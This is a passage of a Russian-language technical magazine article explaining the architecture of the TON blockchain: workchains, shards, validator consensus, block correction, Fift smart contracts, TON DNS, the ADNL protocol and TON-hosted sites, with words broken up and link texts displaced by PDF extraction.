 — самый  глав ный блок чейн,  клас сичес кая цепоч ка бло ков,
содер жит  парамет ры  сис темы,  сос тояние  вор кчей нов  и  их  шар дов  (про
них  ниже),  хеши  всех  пос ледних  бло ков,  количес тво  выпущен ных  Gram
и  про чую  важ ную  информа цию.  В  общем,  все  самое  необ ходимое
для фун кци они рова ния сис темы.

• Masterchain

 —  объ еди няет шар ды.  Все го  может  быть  2   таких  вор кчей‐ 
нов,  каж дый из которых име ет уни каль ный иден тифика тор и свою логику.
Каж дый  вор кчейн,  нап ример,  может  иметь  свою  вир туаль ную  машину,
свои  фор маты  адре сов.  То  есть  теоре тичес ки  мож но  соз дать  вор кчейн
для  про цес синга  смарт‐кон трак тов  из  Ethereum.  Пер вый  вор кчейн  будет
иметь пре фикс 0 — он зарезер вирован для основно го вор кчей на TON.

• Workchain 32

 (далее — шард) — глав ная часть мас шта биро вания. В рам ках

одно го вор кчей на может быть 2  шар дов. Шар ды могут «общать ся» друг
с дру гом, каж дый шард отве чает за опре делен ные акка унты и под чиня ется
всем пра вилам сво его вор кчей на.

• Shardchain

60

 — мож но  ска зать,  что  это  учет ная  кни га  (ledger)  для  вхо‐ 
дящих и исхо дящих сооб щений опре делен ного акка унта.

• Accountchain

Все  это  было  при дума но  для  решения  двух  острых  проб лем.  Пер вая  проб‐ 
лема — раз мер блок чей на,  который неп рерыв но рас тет и в слу чае с Bitcoin
в 2019 году  . Боль шинс тво крип товалют тре буют хра‐ 
нить и син хро низи ровать весь блок чейн, и это ста новит ся все более нак ладно
с рос том сети. Вто рая проб лема зак люча ется в том, что для вне сения серь‐ 
езных  инфраструк турных  изме нений  час то  тре бует ся  «пересоз дать»  блок‐ 
чейн, то есть сде лать форк.

пе рева лил за 200 Гбайт

TON реша ет пер вую проб лему с помощью Infinite Sharding Program, как она
называ ется  в  докумен те.  Что бы  объ яснить,  как  это  работа ет,  луч ше  зай ти
изда лека.  Нач нем  с  того,  что  workchain —  это  на  самом  деле  вир туаль ный
блок чейн,  объ еди няющий  нес коль ко  шар дов.  Иден тифика тор  вор кчей на
явля ется  частью  иден тифика тора  кон крет ного  шар да,  бла года ря  которо му
мож но понять, к какому вор кчей ну отно сит ся тот или иной шард.

Соз дать  вор кчейн  может  каж дый,  кто  готов  опла тить  высокую  сто имость
тран закции в мас терчей не и опуб ликовать спе цифи кацию и «пра вила» нового
вор кчей на.  Тем  не менее  тре бует ся  кон сенсус  двух  тре тей  текущих  валида‐ 
торов,  так  как им при дет ся обно вить ПО для работы с бло ками нового вор‐ 
кчей на.

Каж дый  шард  име ет  сле дующий  иден тифика тор  в  виде  кор тежа:
  и  пре фикс  самого  шар да.  Пре фикс  отве чает  за  те  акка унты

(адре са), которые будут вклю чены в шард. Нап ример, если пре фикс 1337, то
все адре са, которые начина ются с 1337, будут в этом шар де. Пре фикс может
динами чес ки менять ся и иметь дли ну от 0 до 60 бит. Сде лано это для  того,
что бы скле ивать шар ды без наг рузки и раз делять наг ружен ные шар ды.

workchain_id

Accountchain  —  еще  один  вир туаль ный  блок чейн,  который  име ет  иден‐ 
тифика тор в виде кор тежа:   и иден тифика тор самого акка унта.workchain_id

МАЙНИНГ
Вмес то  при выч ного  перебо ра  хешей  на  виде окар тах  в  TON  исполь зует ся
одна  из  вари аций  PoS‐алго рит ма,  которая  реша ет  проб лему  визан тий ских
генера лов  (далее — BFT):  в резуль тате для кон сенсу са  тре бует ся две  тре ти
валида торов.

Но вые бло ки соз дают ся и про веря ются валида тора ми. Любой может стать
валида тором, если он готов заложить мно го GRM в мас терчейн, под твер див
таким  обра зом  свои  намере ния.  Такой  «залог»  замора жива ется  минимум
на месяц. На дан ный момент для  того,  что бы стать валида тором в  тес товой
сети, нуж но 100 000 GRM (тес товых, конеч но же).

Ва лида торы  рас пре деля ются  меж ду  все ми  сущес тву ющи ми  шар дами
в  слу чай ном  поряд ке.  При мер но  каж дые  1024  бло ка  валида торы  меня ют
шард,  в  котором  они  «работа ют».  В  рам ках  одно го  шар да  валида торы
выбира ют  новый  блок  (бла года ря  BFT).  Если  кон сенсус  был  дос тигнут,  то
фор миру ется  новый  блок,  комис сии  с  тран закций  и  эмис сия  в  этом  бло ке
рас пре деля ются  меж ду  валида тора ми.  Один  и  тот  же  валида тор  может
валиди ровать нес коль ко шар дов — под разуме вает ся, что он будет про делы‐ 
вать эту работу парал лель но.

Ес ли  валида тор  выб рал  «невер ный блок»,  то он может быть оштра фован
на  всю  сум му  или  часть  его  залога.  Валида тора  так же  могут  отс тра нить
от работы на какое‐то вре мя. Ког да все шар ды сфор мирова ли новые бло ки
(или пос ле тайм‐аута, пред положи тель но, в пять секунд),  генери рует ся блок
для  мас терчей на,  который  содер жит  хеши  всех  новых  бло ков  в  шар дах.
В свою оче редь, этот блок фор миру ется бла года ря кон сенсу су всех валида‐ 
торов в сис теме.

ИСПРАВЛЕНИЕ ОШИБОК
Я  пос вящаю  исправ лению  оши бок  отдель ный  параг раф,  так  как  это  очень
инте рес ный воп рос в мире блок чей на (вспом ни   и Ethereum
Classic)  и  меня  очень  мно го  о  нем  спра шива ли  на  пос леднем  выс тупле нии
про TON.

ис торию The DAO

Ко неч но,  оши бок  быть  не  дол жно,  так  как  для  кон сенсу са  тре бует ся  две
тре ти валида торов, но в сис теме заложе но обна руже ние и исправ ление «неп‐ 
равиль ных» бло ков. Пред положим, что был обна ружен «неп равиль ный» блок,
и  валида торов,  которые  под писали  этот  блок,  наказа ли.  Но  сис тема  все
еще име ет неп равиль ный блок — так что этих мер недос таточ но.

В  боль шинс тве  дру гих  сис тем  для  это го  тре бует ся  форк  с  пос ледне го
«пра виль ного» бло ка. Такой под ход име ет мно жес тво недос татков: его слож‐ 
но реали зовать, нуж но убе дить всех учас тни ков перей ти на новую сеть пос ле
фор ка; и не менее остро сто ит воп рос о том, что делать с пра виль ными тран‐ 
закци ями, которые были совер шены уже пос ле «неп равиль ного» бло ка.

TON Blockchain  реша ет  эту  проб лему  сле дующим обра зом.  Каж дый блок
в шар де (и в мас терчей не тоже) явля ется блок чей ном, который по умол чанию
сос тоит из одно го бло ка. Если тре бует ся испра вить «невер ный» блок, то этот
малень кий блок чейн вырас тает еще на один блок,  который и заменя ет пре‐ 
дыду щий.  Этот  блок  так же  генери рует ся  валида тора ми,  которые  в  дан ный
момент работа ют в шар де.

При  этом  отдель но  упо мина ется,  что  бло ки  в  вир туаль ном  accountchain
не  будут  изме нены,  если  они  были  пра виль ными.  Под разуме вает ся,  что
в  новом  бло ке  будут  исправ лены  толь ко  «невер ные»  тран закции,  но  это
не зат ронет пра виль ные.

CМАРТ-КОНТРАКТЫ
Смарт‐кон трак ты  в  TON  поз воля ют  написать  биз нес‐логику,  которая  будет
выпол нять ся децен тра лизо ван но. Кон трак ты пол ноцен ные по Тьюрин гу, и их
пред лага ется писать на язы ке Fift. Fift — новый язык прог рамми рова ния, соз‐ 
данный спе циаль но для TON; он име ет опре делен ные сходс тва с Forth.

Для выпол нения смарт‐кон трак тов была написа на вир туаль ная машина —
TON  VM  (Ton  Virtual  Machine).  Но  не  сто ит  забывать,  что  вор кчейн  вмес те
с  дру гими  опре деля ющи ми  парамет рами  может  иметь  собс твен ную  вир‐ 
туаль ную машину и собс твен ный язык для смарт‐кон трак тов. Имен но поэто му
я не буду заос трять вни мание на Fift и TON VM в этой статье.

WWW

Под робнос ти о   и   можешь почер пнуть
в докумен тации про екта.

Fift TON VM

Оз накомить ся  с  аза ми  Forth  или  прос то  пос‐ 
мотреть, как выг лядит код на нем, тебе поможет
статья  «

».

За гадоч ный  Forth.  Зна комим ся  с  одним
из  важ ней ших  язы ков  прог рамми рова ния,
о котором мало кто зна ет

Смарт‐кон трак ты в TON исполь зуют ся пов семес тно: в TON Storage, TON DNS
и  дру гих  сер висах.  Для  валида ции  бло ков  и  кон сенсу са  тоже  исполь зуют ся
смарт‐кон трак ты. Как ты уже понял, TON — плат форма очень самодос таточ‐ 
ная и совер шенно не зависит от внеш них фак торов. Сто ит еще упо мянуть, что
каж дый акка унт фор маль но может являть ся смарт‐кон трак том.

За мечу на полях, что ком пания   готовит ком пилято ры для дру гих
язы ков  прог рамми рова ния,  что бы  писать  смарт‐кон трак ты  мож но  было
не  толь ко  на  Fift.  Ком пилято ры  для  C  и  Solidity  уже  мож но  пос мотреть
на  .

TON Labs

ton.dev

TON DNS
TON DNS — один из сер висов TON. Исполь зует ся для пре обра зова ния понят‐ 
ных  челове ку  иден тифика торов  (домен ные  име на,  адре са)  в  адре са  ADNL
и адре са TON Blockchain.

Ис поль зовать  TON DNS мож но,  нап ример,  для  переда чи  денег  по  иден‐ 
тифика тору вмес то адре са кошель ка. Это силь но упро щает дело, потому что
теперь  мож но  перевес ти  сум му  на  понят ный  адрес  или  имя  поль зовате ля.
Так же иден тифика тор мож но перенап равить на смарт‐кон тракт — нап ример,
выс тавля ем счет на опла ту в  каком‐то магази не, а пос ле перево да кон тракт
обра бота ет пла теж.

Сам TON DNS реали зован в виде нес коль ких спе циаль ных смарт‐кон трак‐ 
тов. Эти смарт‐кон трак ты пред став ляют собой дре вовид ную струк туру. Каж‐ 
дый  из  них  отве чает  за  регис тра цию  под доменов  для  опре делен ной  зоны
или домена. Кор невой кон тракт, который обслу жива ет домены пер вого уров‐ 
ня сети TON, находит ся в мас терчей не.

Ре гис тра ция нового домена (иден тифика тора) реали зует ся через отправ‐ 
ку  сооб щения  в  смарт‐кон тракт,  который  отве чает  за  жела емый  под домен.
Это  сто ит  опре делен ной  сум мы  (как  и  все  переда ваемые  сооб щения);  ука‐ 
зыва ются  ключ,  вла делец,  сро ки  регис тра ции.  Иден тифика торы  регис три‐ 
руют ся в поряд ке оче реди — кто успел, того и тап ки.

Опус кая  сов сем  низ коуров невые  детали,  мож но  резюми ровать,  что  TON
DNS  име ет  более  широкое  при мене ние,  чем  DNS  в  при выч ном  понима нии
это го сло ва.  Учи тывая воз можнос ти TON Blockchain, ADNL и смарт‐кон трак‐ 
тов, за иден тифика тором может скры вать ся как обыч ный кошелек, так и пол‐ 
ноцен ный сер вис с биз нес‐логикой.

ADNL
ADNL —  собс твен ный  про токол,  основной  для  TON.  Это  про токол,  который
исполь зует ся на самом низ ком уров не. Глав ное его пре иму щес тво — не нуж‐ 
но бес поко ить ся об адре сах IPv4/IPv6, пор тах и т.д.: они все скры ты абс трак‐ 
тным  сетевым  уров нем.  Для  обме на  дан ными  исполь зуют ся  256‐бит ные
сетевые  адре са  (наз ванные  «абс трак тны ми  сетевы ми  адре сами»).  Если
говорить  прос тым  язы ком,  это  ана лог SSL  по UDP.  Что бы  при нимать  и  рас‐ 
шифро вывать  сооб щения,  пред назна чен ные  для  опре делен ного  адре са,
необ ходимо  иметь  его  при ват ный  ключ.  Для  того,  что бы  отпра вить  сооб‐ 
щение, необ ходимо (помимо адре са) знать пуб личный ключ получа теля.

С точ ки зре ния боль шинс тва ком понен тов TON, сущес тву ет толь ко ADNL,
с помощью которо го мож но отправ лять сооб щения с одно го адре са на дру‐ 
гой. В  текущем white paper  ска зано,  что ADNL будет реали зован  через UDP
с опци ональ ным отка том до TCP, если UDP будет недос тупен. Еще в докумен‐ 
те  упо мина ется RLDP  (Reliable  Large Datagram Protocol)  как похожий на TCP
про токол более высоко го уров ня.

CАЙТ В СЕТИ TON
Те перь,  ког да  мы  зна ем  про  ADNL  и  TON  DNS,  мож но  погово рить  о  том,
как может выг лядеть соз дание сай та в TON. Такой сайт будет децен тра лизо‐ 
ван но  хос тить ся  в  TON  Network.  Сер висы,  которые  пол ностью  находят ся
в TON Network, называ ются ton‐services.

В  качес тве  при мера  white  paper  опи сыва ет  соз дание  сер виса,  который
при нима ет зап росы HTTP через RLDP. Что бы реали зовать его, нужен обыч ный
бра узер  и  прок си‐сер вер,  который  будет  перево дить  зап росы  HTTP  в  TON
Network.  Обща ясь  по  про токо лу  RLDP,  сер вис  может  отве чать  на  зап росы,
а прок си‐сер вер будет воз вра щать их кли енту в при выч ном фор мате.

Сто ит  упо мянуть,  что  на  этом  эта пе  мож но  исполь зовать  TON  DNS
для  «корот ких»  адре сов.  Это  поз воля ет  вос создать  при выч ный  порядок
вещей. В будущем мы можем  уви деть  какой‐нибудь  TON Browser,  ана логич‐ 
ный бра узе ру для сети Tor.

ЗАКЛЮЧЕНИЕ
Как  видишь,  опи сать  TON  в  двух  сло вах  неп росто.  Это  боль шая  и  слож ная
сис тема,  которая  сос тоит  из  раз ных  низ коуров невых  ком понен тов,  и  блок‐ 
чейн TON — толь ко один из них. Но TON при этом — это не толь ко блок чейн.

Уже  в  этом  году  мы,  воз можно,  будем  наб людать  запуск  пол ноцен ной
сети. Ско рее  все го,  некото рые  ком понен ты  плат формы из  тех,  что  опи саны
в этой статье, будут дос тупны поз же дру гих.

Од нако уже сей час мож но испы тать кли ент и сеть на  . Если
тебе  инте рес на  эта  тема  и  тянет  на  экспе римен ты,  можешь  заг лянуть
в   или даже соб рать  .

тес товой ноде

blockchain explorer кли ент и ноду
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